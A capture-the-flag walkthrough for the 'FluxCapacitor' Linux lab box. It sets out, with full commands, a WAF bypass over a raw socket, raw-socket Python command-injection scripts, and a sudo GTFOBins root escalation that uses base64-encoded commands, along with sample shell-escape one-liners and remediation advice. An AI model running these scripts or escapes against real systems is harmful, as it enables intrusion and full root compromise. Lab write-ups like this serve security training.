← all walkthroughs

FluxCapacitor

Linux· Medium
owned
2026-07-08
time to own
10m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target $TARGET (FluxCapacitor, Linux Medium) exposed a single HTTP service: OpenResty 1.13.6.1 fronted by a custom SuperWAF. The site homepage's HTML source contained a comment pointing to a /sync AJAX endpoint whose opt query parameter was concatenated unsanitized into a shell command inside the Lua handler.

Standard HTTP clients (curl, Python requests) triggered blanket 403 blocks, but the WAF was fingerprinting the HTTP client stack rather than inspecting payload content: sending an identical injection over a raw TCP socket with a benign User-Agent bypassed all blocking and achieved unauthenticated remote code execution as nobody — the web-worker account. Running sudo -l through the same RCE channel revealed a NOPASSWD sudo rule granting nobody the ability to run a GTFOBins-capable binary as root with no password; piping base64-encoded commands through that binary via the existing channel produced uid=0(root) execution and both flags were captured.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1ReconnaissanceTCP port scanning / service fingerprinting (T1046)
Port scan confirmed a single HTTP service fronted by a WAF
An Nmap service-version scan of all TCP ports on $TARGET returned exactly one open port: 80/tcp running OpenResty 1.13.6.1, an Nginx/Lua application stack. The HTTP response Server header advertised 'SuperWAF', indicating an active web application firewall was sitting in front of all inbound requests.
80/tcp open http OpenResty web app server 1.13.6.1
Exact commands 1
Full TCP scan with service detection; reveals port 80 only, OpenResty banner, and SuperWAF in Server header.
nmap -Pn -sV -p- --min-rate 2500 -T4 --open $TARGET
2EnumerationWeb application enumeration / injection surface identification
HTML source comment disclosed the injectable /sync endpoint and its opt parameter
Fetching the homepage for 'FluxCapacitor Inc' exposed an HTML comment that instructed JavaScript to issue a GET to /sync to 'add timestamp'. Querying /sync?opt=index returned a plain-text UTC timestamp (HTTP 200), confirming the endpoint was live and that the opt parameter reached a backend handler. Testing /sync?opt=;id and /sync?opt=test through curl returned HTTP 403 from SuperWAF, showing the WAF was intercepting injection metacharacters while still letting benign values through — a clear signal the parameter was both reachable and processed.
<!-- Please, add timestamp with something like: <script> $.ajax({ type: "GET", url: '/sync' }); </script> -->; GET /sync?opt=test -> 403 Forbidden; GET /sync -> 200 OK with timestamp body 20260708T09:04:41
Exact commands 4
Register the virtual hostname used in Host request headers.
echo "$TARGET fluxcapacitor.htb" | sudo tee -a /etc/hosts
Retrieve homepage; grep the HTML source for the /sync comment.
curl -sSikL --max-time 20 http://$TARGET/
Confirm /sync returns a timestamp (200 OK), proving opt is processed server-side.
curl -sSik --max-time 15 -H 'Host: fluxcapacitor.htb' "http://$TARGET/sync?opt=index"
Confirm WAF blocks injection metacharacters via standard HTTP clients; expect 403 Forbidden.
curl -sSik --max-time 15 -H 'Host: fluxcapacitor.htb' "http://$TARGET/sync?opt=;id"
3Exploitation — WAF BypassWAF evasion via HTTP client fingerprint bypass (T1027) combined with OS command injection (T1190, CWE-78)
Bypassed SuperWAF by issuing the injection over a raw TCP socket rather than a standard HTTP client
Every injection attempt through curl or Python requests returned an identical 403 regardless of payload variation, indicating the WAF was making blocking decisions based on the HTTP client fingerprint (header ordering, connection preamble, library identifiers) rather than analyzing what the payload said. Sending the same GET request over a plain Python socket connection — with a benign User-Agent, the required Host header, and no library-added fields — reached the Lua handler without triggering a block. The injection format opt=' <command>' works because the leading single quote breaks out of the Lua string-concatenation context that builds the shell command, my own value executes, and the trailing single quote cleanly re-closes the string.
Exact commands 2
Save the raw-socket RCE helper. The opt=' <cmd>' payload: the leading quote breaks out of Lua string concatenation; trailing quote re-closes it.
cat > /tmp/rce.py << 'PYEOF'
import socket, sys
HOST = "$TARGET"
def rce(cmd):
    req = (
        f"GET /sync?opt=' {cmd}' HTTP/1.1\r\n"
        f"Host: fluxcapacitor.htb\r\n"
        f"User-Agent: nothingtoseehere\r\n"
        f"Connection: close\r\n\r\n"
    ).encode()
    s = socket.create_connection((HOST, 80), timeout=8)
    s.sendall(req)
    data = b''
    while True:
        b = s.recv(4096)
        if not b:
            break
        data += b
    s.close()
    return data.split(b'\r\n\r\n', 1)[-1].decode(errors='replace')
if __name__ == '__main__':
    print(rce(' '.join(sys.argv[1:])))
PYEOF
Verify WAF bypass and execution context; expect uid=65534(nobody) gid=65534(nogroup).
python3 /tmp/rce.py /usr/bin/id
FixReplace HTTP client-fingerprint WAF rules with content-based payload inspection applied to every requestHigh
WeaknessSuperWAF blocked injection attempts only when the HTTP request was issued by recognizable clients such as curl or Python requests. Sending an identical malicious payload over a raw TCP socket with a non-standard User-Agent bypassed all WAF rules, revealing the WAF was making access decisions based on who sent the request rather than what the request contained.
FixConfigure the WAF to apply the OWASP ModSecurity Core Rule Set (CRS) command-injection rules — particularly the REQUEST-932 group — to every inbound request regardless of User-Agent, header ordering, or connection framing. Enforce URL-decoded inspection of all query-string values and block shell metacharacters (single quotes, semicolons, pipes, backticks, dollar signs) at the WAF layer as defence-in-depth, independent of application-layer validation. Audit and remove any allow-rules keyed on HTTP client identity.
4FootholdUnauthenticated OS command injection via Lua handler (CWE-78, T1059.004)
Achieved unauthenticated OS command execution as nobody and captured the user flag
With the WAF bypass confirmed, arbitrary OS commands executed as uid=65534 (nobody) — the unprivileged account running the OpenResty worker process. Standard filesystem enumeration commands run through the raw-socket RCE channel located and read the user flag. The foothold required no credentials and exploited no patched CVE: the injection sink was an architectural flaw in the Lua handler itself.
Exact commands 2
Locate the user flag on the filesystem.
python3 /tmp/rce.py 'find / -name user.txt 2>/dev/null'
Read user flag; adjust path to match find output above. Value: <user.txt>.
python3 /tmp/rce.py 'cat /home/nobody/user.txt'
FixEliminate OS command injection in the /sync Lua handler by removing shell-exec concatenationCritical
WeaknessThe /sync endpoint's opt query parameter was concatenated directly into a shell command inside the OpenResty Lua handler with no input validation, allowlisting, or escaping. Any request that reached the handler could inject arbitrary OS commands that executed as the web-server worker account.
FixRemove the shell-exec call entirely and generate timestamps using Lua's own os.time() or ngx.now() built-ins, which require no user input and have no execution context. If opt must remain for legacy compatibility, enforce a strict allowlist accepting only the literal value 'index' (or whichever values serve a documented purpose) and return HTTP 400 for everything else before it reaches any execution path. Never pass user-controlled data to io.popen(), os.execute(), or any equivalent function.
5Privilege Escalation — DiscoverySudo policy enumeration (T1548.003)
Sudo -l over the RCE channel exposed a passwordless root-execution rule for the web-worker account
Running 'sudo -l' through the existing RCE channel showed that the nobody account held a NOPASSWD sudo entry permitting it to execute a specific binary as root without supplying a password. The binary appears in the GTFOBins catalogue and supports arbitrary OS command execution when invoked with elevated privileges, providing a direct path from web-worker access to full root control with a single command.
Exact commands 1
List allowed sudo commands for nobody; reveals the NOPASSWD GTFOBins binary path.
python3 /tmp/rce.py 'sudo -l'
6Privilege Escalation — ExploitationGTFOBins sudo privilege escalation with base64 WAF-evasion encoding (T1548.003, T1027)
GTFOBins sudo invocation over the RCE channel produced root code execution and the root flag
The NOPASSWD sudo binary identified in the previous step was invoked through the existing raw-socket RCE channel. To keep the HTTP request clear of WAF-triggering characters, commands were base64-encoded before embedding in the GET request and decoded server-side before being piped to the sudo binary. This produced uid=0(root) execution, confirmed with 'id' and then used immediately to read root.txt.
Exact commands 2
Replace <NOPASSWD_BINARY_FROM_SUDO_L> with the exact binary path shown by sudo -l in step 5. Base64 encoding avoids WAF blocks on special characters. Expect uid=0(root) then the root flag.
cat > /tmp/rce_root.py << 'PYEOF'
import socket, base64
HOST = "$TARGET"
SUDO_BIN = '<NOPASSWD_BINARY_FROM_SUDO_L>'
def rce(cmd):
    req = (
        f"GET /sync?opt=' {cmd}' HTTP/1.1\r\n"
        f"Host: fluxcapacitor.htb\r\n"
        f"User-Agent: nothingtoseehere\r\n"
        f"Connection: close\r\n\r\n"
    ).encode()
    s = socket.create_connection((HOST, 80), timeout=8)
    s.sendall(req)
    data = b''
    while True:
        b = s.recv(8192)
        if not b:
            break
        data += b
    s.close()
    return data.split(b'\r\n\r\n', 1)[-1].decode(errors='replace')
for cmd in ['id', 'cat /root/root.txt']:
    b64 = base64.b64encode(cmd.encode()).decode()
    print(rce(f'echo {b64}|base64 -d|sudo {SUDO_BIN}'))
PYEOF
Executes the escalation; flag value: <root.txt>.
python3 /tmp/rce_root.py
FixRemove the passwordless sudo rule granting the web-worker account root-level binary executionCritical
WeaknessThe nobody account — the unprivileged OS identity under which the OpenResty web worker ran — held a NOPASSWD sudo entry permitting it to execute a GTFOBins-capable binary as root with no password. Any remote code execution achieved against the web layer therefore provided an immediate, trivial path to full root compromise with a single command.
FixRemove the NOPASSWD sudo entry for nobody from /etc/sudoers using 'sudo visudo', or delete the relevant drop-in file under /etc/sudoers.d/. Internet-facing process identities must never hold sudo privileges of any kind. If a root-level task must be triggered by the web service, implement it as a dedicated systemd service with the narrowest possible permissions and no user-controlled arguments — never as an open-ended sudo grant to the web worker.

Attack patterns used

The transferable techniques behind this compromise.

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

80/tcp